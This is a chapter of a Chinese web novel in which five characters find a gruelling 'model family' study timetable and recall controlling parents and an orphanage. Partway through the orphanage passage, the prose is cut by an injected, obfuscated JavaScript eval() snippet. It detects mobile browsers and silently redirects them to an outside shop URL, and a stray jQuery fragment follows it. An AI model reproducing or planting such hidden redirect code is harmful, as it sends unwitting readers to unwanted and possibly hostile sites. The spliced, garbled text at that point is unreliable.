摔完碗之后的夜晚过得异常平静。
五个人各自占据了客厅的角落——江野瘫在沙发上刷着手机但信号一格都没有，徐晓坐在餐桌边继续背他那本永远翻不完的词典，许清寒靠在窗边闭目养神，林安诚抱着灰兔子窝在沙发扶手上昏昏欲睡。谢意坐在单人沙发里，紫眼睛半阖着，不知道是在想事还是在发呆。
窗外的白色虚空没有变化。电视柜上的奖杯反射着灯光。客厅里只有空调的低鸣和偶尔的翻书声。
然后林安诚从沙发扶手上坐直了。她揉了揉眼睛，从沙发上滑下来，走到电视柜旁边，蹲下去，伸手摸了摸电视柜底部和墙壁之间的缝隙。
她从那里抽出一张纸。
一张A4大小的纸，边缘微微泛黄，像是被塞在那里很久了。上面密密麻麻地印着一行一行的字，表格工整，时间精确到十五分钟一个单元。她把那张纸铺在茶几上，四个人的目光同时聚了过来。
江野探头一看，读出声来："……'模范家庭作息计划表'？"
【5:30 起床】
【5:30-5:45 洗漱】
【5:45-6:00 晨读（英语/语文交替）】
【6:00-6:30 早自习（数学/理综/文综交替）】
【6:30-7:00 早餐】
【7:00-7:45 预习当日课程】
【8:00-11:45 上午课程】
【11:45-12:00 午餐】
【12:00-13:00 午休】
【13:00-17:00 下午课程】
【17:00-17:30 晚餐】
【17:30-18:00 整理笔记】
【18:00-21:00 晚自习（语数外轮流）】
【21:00-21:15 休息】
【21:15-23:00 强化训练（科目按日交替）】
【23:00 熄灯就寝】
表格的最下方，用红色墨水手写了一行字——字迹工整但带着某种被反复描过的、勒进纸面里的力道：
"六点起太晚了。每天比别人少学一小时，一年少学三百六十五小时。你用什么跟别人比？"
后面跟了一句同样字迹但颜色淡了一些的附加："每天加练一套理综。做不到就别吃晚饭。"
客厅里的四个人同时沉默了。
江野把那张纸翻了个面。背面还有内容——是一张细化到每十五分钟的科目安排表，从周一排到周日，每天科目不同，周日甚至排了"补习班""竞赛课""家长陪读"三个额外项目。每一条后面都用红笔打了勾，整整齐齐的，从第一行到最后一行，没有一个是空白的。
"……这是这个家里的"孩子"的作息。"徐晓推了推眼镜，声音比平时低了半度，"上一个住在这里的人，每天按这个表生活。一年三百六十五天，每天十六个小时在学习。"
许清寒站在窗边，没有走过来看那张纸。他靠着窗台，浅棕色的眼睛看着窗外白色的虚空，声音很轻："我高中的时候，差不多也是这个安排。早上五点半我妈叫我起床，晚上十一点半她来给我关灯。中间每一分钟都被排满了。吃饭时间十五分钟，上厕所五分钟——她拿手机倒计时。超时了会敲门。"
江野坐在沙发上，嘴张着看着那张计划表，又看了看许清寒。"……十五分钟吃饭？你吃个饭十五分钟？"
"后来习惯了。嚼得快一些就能吃完。"许清寒顿了顿，补了一句，"胃溃疡是大学之后才犯的。不算严重。"
徐晓看着那张表沉默了更久。他的目光停在那行红字上面——"六点起太晚了"——他看了好几遍，手指在膝盖上慢慢蜷起来。他开口的时候声音很平，像在陈述一条客观事实："我高中没有这个表。我爸妈说我长大了自己要懂事。但我房间里有一个摄像头。"
江野猛地转头看他："什么？"
"一个小摄像头。装在我书桌右上方的墙角，白色的，不仔细看看不出来。我妈说那是'为了监督我坐姿'。"徐晓推了一下眼镜，眼镜没有滑，但他推了，"后来我发现她会回放录像。看我什么时候发呆、什么时候停下来喝水超过十秒、什么时候趴在桌上了。"
客厅安静了片刻。
江野把那张表举起来又看了一遍，手指沿着那密密麻麻的时间格划过，最后停在那句红字上。他的嘴唇动了动，声音变得有些哑："……我辍学之前那学期，我妈也给我弄过这么一张表。吃饭时间二十分钟。洗澡时间十分钟。每天要背五十个单词，背不完不许睡觉。我背完了她说我背得不够熟，重背。那天晚上我背到凌晨两点。"
他说完低头看着自己的手，声音低了下去："后来我就跑了。第二天早上她来叫我起床的时候我已经不在了。"
林安诚一直没说话。她坐在茶几旁边的地板上，灰兔子放在膝盖上，重瞳一眨不眨地看着那张作息表。她从第一行看到最后一行，又从最后一行看回第一行。然后她伸出小手，指尖轻轻碰了碰那句红字——"六点起太晚了"——的最后一个字。
"……写这个的人，"她开口了，声音很轻，像怕吵醒什么东西，"也是被要求这样做的吗？"
她问的不是任何人。她问的是那张纸本身。但没有人能回答她。
谢意从单人沙发上站起来，走到茶几旁边，低头看着那张作息表。他看得很慢，从第一行看到最后一行，又从最后一行看到那行红字。紫眼睛在灯光下没有什么变化，像两口装了水的浅色池子。
他看完之后说了一句话："五点半起。十五分钟吃饭。十二点睡。一天睡五个半小时。"
"对。"江野说，"这他妈不是人过的。"
"我小时候在孤儿院的时候，每天也是五点起。不是学习。是干活。搬东西、扫地、洗衣服、整理仓库。吃早饭十分钟，吃不完就没得吃了。"谢意的语气很平，"晚上十点关灯，但关了灯之后不能出声。出声会被拉出去罚站
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814542|210992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。冬天也是。"
他把那张纸拿起来，叠了两折，放进了自己衬衫口袋里。
"明天早上按这个表来。"他说。
江野："……你认真的？"
"系统让我们扮演'模范子女'。模范子女家里有这张表。明天不按表来的话，'父母'会来查。"
五个人坐在客厅里，看着谢意把那页作息表收进口袋。窗外的白色虚空依然均匀地铺展着，夜色没有变深，晨光没有变亮，时间在那个空间里像被胶水粘住了，黏稠地、缓慢地向前淌。
沉默了一会儿。江野先开口了："那我明天……先装个样子。"
许清寒从窗台边走过来，坐回沙发上。他的动作比平时慢了半拍，像在消化什么。他坐下来之后说了一句："我是学医的。五个半小时睡眠长期持续的话，身体会在两年内出现系统性紊乱。激素水平波动，皮质醇升高，免疫力下降——"
"我们只待五天。"谢意说，"五天不会死人。"
许清寒看着他，浅棕色的眼睛里有某种温热的、像被慢慢煮开的东西："五天不会。但有人在这个表里待了很多年。"
没有人接话。
沙发上的四个人各自沉默着。林安诚把灰兔子抱到胸前，脸颊贴着兔子脑袋，重瞳半阖着。徐晓推了推眼镜，手里那本词典翻到某一页就再也没有翻动过。江野靠在沙发靠背上，头仰着看天花板，灯管的暖光把他的脸照得明暗交替。
谢意坐在他们中间，口袋里的那页作息表隔着衬衫布料贴着胸口。他能感觉到纸张边沿微微的硬度和温度——像一片薄薄的、被折过的记忆，压在他的皮肤外面。
"明天早上五点半。"他说，"我起来。"
江野从天花板上收回目光，看了他一眼："我也起来。我起不来你踹我。"
"好。"
许清寒轻轻笑了一声："我不用踹，我习惯了。五点醒是肌肉记忆。"
徐晓推了推眼镜："……我也可以。摄像头关了之后我反而睡不着了。"
林安诚把脸从兔子里抬起来，重瞳看了看每一个人，然后她点了点头。她没有说话。但她把兔子的耳朵拧了一小圈，像在做记号。
夜更深了一些。虽然窗外的白色虚空看不出任何时间的变化，但客厅里的灯光在某个瞬间自动调暗了半度，像在提示"该休息了"。五个人各自找了位置——谢意和江野分占了沙发的两头，许清寒靠在躺椅上，徐晓趴在餐桌边，林安诚裹着一条从卧室里翻出来的小毯子缩在地毯上。
没有人真的睡着。但所有人都闭上了眼。
谢意闭着眼，手按在衬衫口袋外面。那页作息表隔着布料，他能摸到纸的折痕和边角。
五点半。六点。八点。十七点。二十三点。
他看着那些数字在他闭着的眼皮后面慢慢浮起来，排列成一个完整的环形，像一只巨大的钟面，等着他们一个格子一个格子地走完。而他口袋里的那张纸，正轻轻地、像心跳一样，一页一页地翻动着。